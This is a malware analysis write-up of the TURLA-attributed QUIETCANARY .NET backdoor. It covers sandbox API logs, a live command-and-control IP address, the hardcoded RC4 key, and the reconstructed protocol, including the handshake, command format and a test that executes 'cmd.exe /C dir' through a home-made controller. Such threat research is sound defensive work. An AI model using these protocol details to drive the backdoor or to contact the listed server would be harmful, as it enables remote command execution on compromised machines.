QUIET CANARY
Context
SHA256 : 3f94b20cb7f4ff55207660649ebbb02679c991fe03efbcb0bd3840fc7f0bd527
sample source : bazar.abuse.ch
VT : VirusTotal
Report: https://cloud.google.com/blog/topics/threat-intelligence/turla-galaxy-opportunity?hl=en
C2 :
https://210.48.231.182/
Analyzed sample is a 32bit .NET PE attributed to TURLA by Mandiant and named QUIETCANARY / Tunnus.
As usual, results from dynamic analysis are shared in my repository (logs)
Commentary
As a reminder, the sandbox that I’m developping doesn’t provide any proper interface to monitor managed code (yet).
Supervision of managed code is done indirectly by monitoring activity from native DLL loaded by the monitored process.
As a consequence, logs provided are ‘noisy’, the same kind of noise you would get by monitoring syscall instead of Win32 API for instance.
This sample is so minimalistic that dynamic analysis alone is basically only usefull to provide the C2 :
[...]
[CNT] [49]
[PTP] [0xba8] [0xbac] [c:\users\user\desktop\quiet_canary\canary.exe]
[INF] [ Called from Native Image DLL ]
[API] <WSAConnect> in [WS2_32.dll]
[PAR] SOCKET s : 0x3d8
[PAR] sockaddr *name : 0x0000009B393446A8
[FLD] -> sin_family : 2 (IPv4)
[FLD] -> sin_port : 47873 (Little endian : 443)
[FLD] -> sin_addr : 210.48.231.182
[RET] 0x7ff817b03542 in [System.ni.dll]
[ * ] [pid 0xba8][tid 0xbac] c:\users\user\desktop\quiet_canary\canary.exe
[EVT] [Max Sleep]
[MSG] Delay Execution reduced from 300000 ms to 15000 ms
Results of dynamic analysis without a working C2 is provided in the logs_no_c2.txt file.
Going further, I decided to use some statical analysis and develop a bare minimum C2 to trigger some additional behavior from the sample :
Statical analysis is very straightforward as this sample isn’t obfuscated in any way.
Now, the first beaconing to the C2 is a HTTP GET request with a hardcoded useragent.
The initial RC4 Key, that the C2 will have to use in reply to that first beaconing, is also visible in that screenshot.
The following routine tells us how the C2 is expected to reply (Base64(Rc4(reply)) :
using (StreamReader streamReader = new StreamReader(response.GetResponseStream()))
empty = Encoding.UTF8.GetString(RC4Encryption.EncryptDecrypt(Convert.FromBase64String(streamReader.ReadToEnd()), this.initialKey));
After decryption of the reply, QUIETCANARY is expecting the following answer from the C2 :
In other words, the keyword “use” followed by a 10 letters string that is going to be used as a new RC4 key to encrypt communications.
Now, If you take a look at the provided “logs.txt” file, you will find how this additional knowledge is translated in terms of dynamic behavior :
Initial beaconing :
[CNT] [99]
[PTP] [0x784] [0x790] [c:\users\user\desktop\quiet_canary\canary.exe]
[INF] [ Called from Native Image DLL ]
[API] <SealMessage> in [SSPICLI.DLL]
[PAR] LSA_SEC_HANDLE ContextHandle : 0x0000002641957A48
[PAR] ULONG QualityOfProtection : 0x0
[PAR] PSecBufferDesc MessageBuffers : 0x000000264195BD10
[FLD] -> ulVersion = 0x0 (SECBUFFER_VERSION)
[FLD] -> cBuffers = 0x4
[FLD] -> pBuffers = 0x000000264195BD38
[FLD] -> pBuffers[0]
[FLD] -> cbBuffer = 0x5
[FLD] -> BufferType = 0x7 (SECBUFFER_STREAM_HEADER)
[FLD] -> pvBuffer = 0x000000264195B9B8
[FLD] -> pBuffers[1]
[FLD] -> cbBuffer = 0xed
[FLD] -> BufferType = 0x1 (SECBUFFER_DATA)
[FLD] -> pvBuffer = 0x000000264195B9BD
[STR] -> "GET / HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71."
[STR] "0.3578.98 Safari/537.36\r\nCookie: PHPSESSID=ir01w34mah37x1sjingfx92gcm\r\nHost: 210.48.231.182\r\nConnection: Keep-Aliv"
[STR] "e\r\n\r\n"
[FLD] -> pBuffers[2]
[FLD] -> cbBuffer = 0x24
[FLD] -> BufferType = 0x6 (SECBUFFER_STREAM_TRAILER)
[FLD] -> pvBuffer = 0x000000264195BAAA
[FLD] -> pBuffers[3]
[FLD] -> cbBuffer = 0x0
[FLD] -> BufferType = 0x0 (SECBUFFER_EMPTY)
[FLD] -> pvBuffer = 0x0000000000000000
[PAR] ULONG MessageSequenceNumber : 0x0
[RET] 0x7ffa2bc07b87 in [System.ni.dll]
Reply from the C2 :
[ * ] [pid 0x784][tid 0x790] c:\users\user\desktop\quiet_canary\canary.exe
[API] <DecryptMessage>
[PAR] PSecBufferDesc pMessage : 0x0000000400000000
[FLD] -> ulVersion = 0x0 (SECBUFFER_VERSION)
[FLD] -> cBuffers = 0x4
[FLD] -> pBuffers = 0x000000264195C0D0
[FLD] -> pBuffers[0]
[FLD] -> cbBuffer = 0x5
[FLD] -> BufferType = 0x7 (SECBUFFER_STREAM_HEADER)
[FLD] -> pvBuffer = 0x000000264195BE90
[FLD] -> pBuffers[1]
[FLD] -> cbBuffer = 0xe0
[FLD] -> BufferType = 0x1 (SECBUFFER_DATA)
[FLD] -> pvBuffer = 0x000000264195BE95
[STR] -> "HTTP/1.1 200 OK\r\nDate: Fri, 07 Mar 2025 16:41:50 GMT\r\nServer: Apache/2.4.41 (Ubuntu)\r\nContent-Length: 20\r\nKeep-A"
[STR] "live: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/html; charset=UTF-8\r\n\r\nDmYJ6sFTT2NFyAtWjQ=="
[FLD] -> pBuffers[2]
[FLD] -> cbBuffer = 0x20
[FLD] -> BufferType = 0x6 (SECBUFFER_STREAM_TRAILER)
[FLD] -> pvBuffer = 0x000000264195BF75
[FLD] -> pBuffers[3]
[FLD] -> cbBuffer = 0x0
[FLD] -> BufferType = 0x0 (SECBUFFER_EMPTY)
[FLD] -> pvBuffer = 0x0000000000000000
[RES] SECURITY_STATUS 0x0 (SEC_E_OK)
To understand the reply “DmYJ6sFTT2NFyAtWjQ==” we need to follow the decryption routine from above :
RC4(Base64_Decode(DmYJ6sFTT2NFyAtWjQ==), "btpacbazyq")
Witch gives the following clear text :
"usegorgonzola"
As you can see, I didn’t use that opportunity to put forward french cheese :)
So from this point forward, communication between the malware and the C2 will be encrypted with gorgonzola flavored RC4.
The malware is aknowledging this new passphrase with the following reply :
[CNT] [115]
[PTP] [0x784] [0x790] [c:\users\user\desktop\quiet_canary\canary.exe]
[INF] [ Called from Native Image DLL ]
[API] <SealMessage> in [SSPICLI.DLL]
[PAR] LSA_SEC_HANDLE ContextHandle : 0x0000002641957A48
[PAR] ULONG QualityOfProtection : 0x0
[PAR] PSecBufferDesc MessageBuffers : 0x000000264197AFA8
[FLD] -> ulVersion = 0x0 (SECBUFFER_VERSION)
[FLD] -> cBuffers = 0x4
[FLD] -> pBuffers = 0x000000264197AFD0
[FLD] -> pBuffers[0]
[FLD] -> cbBuffer = 0x5
[FLD] -> BufferType = 0x7 (SECBUFFER_STREAM_HEADER)
[FLD] -> pvBuffer = 0x000000264197AD18
[FLD] -> pBuffers[1]
[FLD] -> cbBuffer = 0x154
[FLD] -> BufferType = 0x1 (SECBUFFER_DATA)
[FLD] -> pvBuffer = 0x000000264197AD1D
[STR] -> "33LsTGt2qYwqZw6+39eYiJ6dWRpufKA0uXkCgAALT2V+PMrW/U9CuZathJ6jQ4OQmrWHebBrBwQmREBSBS4cb/DUDqf3TGzRnghCORaCx15bxxUCxBZgKgQ7"
[STR] "YQeyMnjvbjpAPKrEwhUUf/zl/WNCtEfqsZpBbZtszSqTSpZP7NYhFZsdcT/3C1z5en6h+wtyLYsuYuCUmCY8pRhTclHIOzgYVstR1id+I6cb3Dm+C7rG5kMA"
[STR] "P0fDdZGmCnYGHQIRtcmHCM8f1++Kb1l5ooBP+X1oawzEzQPZlfzB2GDmNqpLWqwWxx4WN56WFVyBlOlDAGB7jNkklGF1PSY4mw=="
[FLD] -> pBuffers[2]
[FLD] -> cbBuffer = 0x24
[FLD] -> BufferType = 0x6 (SECBUFFER_STREAM_TRAILER)
[FLD] -> pvBuffer = 0x000000264197AE71
[FLD] -> pBuffers[3]
[FLD] -> cbBuffer = 0x0
[FLD] -> BufferType = 0x0 (SECBUFFER_EMPTY)
[FLD] -> pvBuffer = 0x0000000000000000
[PAR] ULONG MessageSequenceNumber : 0x0
[RET] 0x7ffa2bc07b87 in [System.ni.dll]
Which needs to be decrypted with the new passphrase to get the clear text :
RC4(Base64_Decode(33LsTGt2qYwqZw6+39eYiJ6dWRpufKA0uXkCgAALT2V+PMrW/U5bxxUCxBZgKgQ7...), "Gorgonzola")
repok433c1682f6d7282c7d59e7da7665aeabf1b20348db8b9a5eb01303e703f59d1b...
So “rep” . “ok” . nonce
The nonce is generated using the following routine :
It’s function is very likely to add some noise to the SSL encrypted traffic to make it more difficult to ‘guess’ what is happening based on the size of HTTPS requests.
Now that we have established a trusted relationship with QUIETCANARY we can start sending some commands among the following :
Notice the 666 code associated with the “KillCommand”, TURLA developpers were kind enough to refrain from using Order 66 which would have been a much more violent crime…
I’ve decided to test a simple ‘dir’ command :
[ * ] [pid 0x784][tid 0x790] c:\users\user\desktop\quiet_canary\canary.exe
[API] <DecryptMessage>
[PAR] PSecBufferDesc pMessage : 0x0000000400000000
[FLD] -> ulVersion = 0x0 (SECBUFFER_VERSION)
[FLD] -> cBuffers = 0x4
[FLD] -> pBuffers = 0x000000264197B208
[FLD] -> pBuffers[0]
[FLD] -> cbBuffer = 0x5
[FLD] -> BufferType = 0x7 (SECBUFFER_STREAM_HEADER)
[FLD] -> pvBuffer = 0x000000264195BE90
[FLD] -> pBuffers[1]
[FLD] -> cbBuffer = 0xbc
[FLD] -> BufferType = 0x1 (SECBUFFER_DATA)
[FLD] -> pvBuffer = 0x000000264195BE95
[STR] -> "HTTP/1.1 200 OK\r\nDate: Fri, 07 Mar 2025 16:41:50 GMT\r\nServer: Apache/2.4.41 (Ubuntu)\r\nContent-Length: 40\r\nConten"
[STR] "t-Type: text/html; charset=UTF-8\r\n\r\n3XLuSjRx6Y17ZlS329KMj8TLT011LuYhr18VgAhO"
[FLD] -> pBuffers[2]
[FLD] -> cbBuffer = 0x24
[FLD] -> BufferType = 0x6 (SECBUFFER_STREAM_TRAILER)
[FLD] -> pvBuffer = 0x000000264195BF51
[FLD] -> pBuffers[3]
[FLD] -> cbBuffer = 0x0
[FLD] -> BufferType = 0x0 (SECBUFFER_EMPTY)
[FLD] -> pvBuffer = 0x0000000000000000
[RES] SECURITY_STATUS 0x0 (SEC_E_OK)
So :
RC4(Base64_Decode(3XLuSjRx6Y17ZlS329KMj8TLT011LuYhr18VgAhO), "Gorgonzola")
"peri43s220l16c"cmd.exe" /C dir"
The format of any order is the following :
“rep” . “i” . id . “s” . command_code . “l” . cmd_parameter_length . “c” . cmd_parameter
Which triggered the following behavior from the malare :
[CNT] [121]
[PTP] [0x784] [0x918] [c:\users\user\desktop\quiet_canary\canary.exe]
[INF] [ Called from Native Image DLL ]
[API] <CreatePipe> in [KERNEL32.dll]
[PAR] PHANDLE hReadPipe : 0x000000265B15E9F0
[PAR] PHANDLE hWritePipe : 0x000000265B15E9F8
[PAR] LPSECURITY_ATTRIBUTES lpPipeAttributes : 0x000000265B15E9C0
[PAR] DWORD nSize : 0x0
[RET] 0x7ffa2c05bd5f in [System.ni.dll]
[ * ] [pid 0x784][tid 0x918] c:\users\user\desktop\quiet_canary\canary.exe
[API] <CreatePipe>
[PAR] HANDLE hReadPipe : 0x48c
[PAR] HANDLE hWritePipe : 0x668
[RES] BOOL 0x1
[CNT] [125]
[PTP] [0x784] [0x918] [c:\users\user\desktop\quiet_canary\canary.exe]
[INF] [ Called from Native Image DLL ]
[API] <CreateProcessW> in [KERNEL32.dll]
[PAR] LPCWSTR lpApplicationName : 0x0 (null)
[PAR] LPCWSTR lpCommandLine : 0x000000265B15E9F0
[STR] -> ""cmd.exe" /C dir"
[PAR] LPSECURITY_ATTRIBUTES lpProcessAttributes : 0x0
[PAR] LPSECURITY_ATTRIBUTES lpThreadAttributes : 0x0
[PAR] BOOL bInheritHandles : 0x1
[PAR] DWORD dwCreationFlags : 0x8000000 (CREATE_NO_WINDOW)
[PAR] LPVOID lpEnvironment : 0x0
[PAR] LPCWSTR lpCurrentDirectory : 0x000000264193FB84
[STR] -> "C:\Users\user\Desktop\quiet_canary"
[PAR] LPSTARTUPINFOW lpStartupInfo : 0x000000265B15E980
[FLD] -> lpDesktop = 0x0 (null)
[FLD] -> lpTitle = 0x0 (null)
[FLD] -> dwFlags = 0x100 (STARTF_USESTDHANDLES)
[FLD] -> wShowWindow = 0x0
[FLD] -> hStdInput = 0x0
[FLD] -> hStdOutput = 0x668
[FLD] -> hStdError = 0x670
[PAR] LPPROCESS_INFORMATION lpProcessInformation : 0x000000264193F388
[RET] 0x7ffa2bbfec01 in [System.ni.dll]
And the following reply :
[CNT] [180]
[PTP] [0x784] [0x790] [c:\users\user\desktop\quiet_canary\canary.exe]
[INF] [ Called from Native Image DLL ]
[API] <SealMessage> in [SSPICLI.DLL]
[PAR] LSA_SEC_HANDLE ContextHandle : 0x0000002641968E08
[PAR] ULONG QualityOfProtection : 0x0
[PAR] PSecBufferDesc MessageBuffers : 0x000000264196BBB8
[FLD] -> ulVersion = 0x0 (SECBUFFER_VERSION)
[FLD] -> cBuffers = 0x4
[FLD] -> pBuffers = 0x000000264196BBE0
[FLD] -> pBuffers[0]
[FLD] -> cbBuffer = 0x5
[FLD] -> BufferType = 0x7 (SECBUFFER_STREAM_HEADER)
[FLD] -> pvBuffer = 0x000000264196B5E8
[FLD] -> pBuffers[1]
[FLD] -> cbBuffer = 0x494
[FLD] -> BufferType = 0x1 (SECBUFFER_DATA)
[FLD] -> pvBuffer = 0x000000264196B5ED
[STR] -> "33LsSjRx9ol5YkqmodSOmsbDFEVoa6Bg7m8ViAQcFTYoKcrC7Qkw+8q61orrRpKInOnGIrpkGTgfVD9SEnBaZAZEGPm1HmvDjP2KfhrU0Q9K3wEPnwI/fBdo"
[STR] "I0anYCW1G3JNR4nO+XkhR+mFXP9R6Aamv8tWOYk8mTnoFa98qYRiUfBRN22wZHqqbXOz9UkWb88kMPetwyFkoFgbSmmkAz0YGJ9VmnB4cqIMzW3tV7mf/1YW"
[STR] "e0OyXvqpTmdAWBoCoN2UGdh3vO/ZcF1/v4Id+H8pewjEk1fX1uSEnmWUT8BHH7oC1AYHIobTBkXKoNBAA3t42sFykmIlK2BrzyzHY38fcmEcYIY9Qs/Ue7Dc"
[STR] "xdo4YWDZHA3gHwvRx4cMK17ugYHzK1Lvi9oL1vjhi4fgpxPYNACDVZ8JJ5Ie7k7Yx5GGmDfskTeErEIMDxCni7V4WdqPSXMaRtvAGtC4XesRq2nlFmVYF57P"
[STR] "U7eYV38UBhtiWE+TWkXkrx2GgygP/jRbUt4HjF5gHKbfVV9oU/dG0wD98XCR0bPVRoCRiIHxVqHuGdENSx7xqguIhKmwLG2RZTKhPefliMHjdb8D2ZOgrnbU"
[STR] "V0eslre6cMhAARtqWyCP02GmJp63kuDSfYHgVzTQytHw72aBmsHb+vUBmpLIgZBswvfvDpVOz42t568E1eLbsEQxfAcr/ZIrwkXrvpMbTXiAh3lOdkSFOCjb"
[STR] "1LWbhvIUsXVKaQXJCFSJ962MobLA0WMoovMe8RWz9xjhL5I+N6xqD+pvGXOVUgUF3Dz6pFQA8oDQOV+maGaq6ekXmRJeDL6HBbJrcXupTDfQfl2BmujE9HCb"
[STR] "WuPZ/eU4m6chDHWjTy1haBN2sObaLFM+ei1c0VWcnyC6vXbHz7z9wh4g5pCAe7iBJVaDKOaNWuywz8a28zv/QC2iHKDscOajaOrNmKdfH82p4DwNbkjWTaE4"
[STR] "dfR6E79pWqDoEuLlyIkv6fJ6kBbIO8Nf40Zk/ZxU/zRbozZniuWXpVLNKDtgPM5aUlbyfSanEwp33D1nRWF2qbkWkLJikdvzBkJguquBQCuiv4n4r+s/LPVM"
[STR] "WK7PVRnSEjRcQCr67aEeyqccYIOyJoDRz5WiVYhqIvS/UhTeS/iShix3StCITNZ1lDeNXvaP8J/N30iv2qMT/hD6+vlz"
[FLD] -> pBuffers[2]
[FLD] -> cbBuffer = 0x24
[FLD] -> BufferType = 0x6 (SECBUFFER_STREAM_TRAILER)
[FLD] -> pvBuffer = 0x000000264196BA81
[FLD] -> pBuffers[3]
[FLD] -> cbBuffer = 0x0
[FLD] -> BufferType = 0x0 (SECBUFFER_EMPTY)
[FLD] -> pvBuffer = 0x0000000000000000
[PAR] ULONG MessageSequenceNumber : 0x0
[RET] 0x7ffa2bc07b87 in [System.ni.dll]
After decryption :
repi43l604r Le volume dans le lecteur C n'a pas de nom.
Le numéro de série du volume est 689B-5BB9
Répertoire de C:\Users\user\Desktop\quiet_canary
07/03/2025 17:28 <DIR> .
07/03/2025 17:28 <DIR> ..
03/03/2025 15:16 18 432 canary.exe
26/02/2025 13:52 945 845 faut-il-revoir-lhistoire-du-cicr-durant-la-seconde-guerre-mondiale.pdf
21/02/2025 02:01 2 695 478 Geneva conventions August 1949.pdf
07/03/2025 15:38 14 t.bat
4 fichier(s) 3 659 769 octets
2 Rép(s) 47 355 650 048 octets libres
1096dd40993462422ce49eccae2ef72f4d6c826099535d0d76ec705dd65850bc1...
So “rep” . “i” . id (43) . “l” . result_length (604) . “r” . result . nonce
My (very) lazy C2 implementation looks like this :
As a final note, there is a piece of dead code that may or may not be useful to look for previous or newer samples :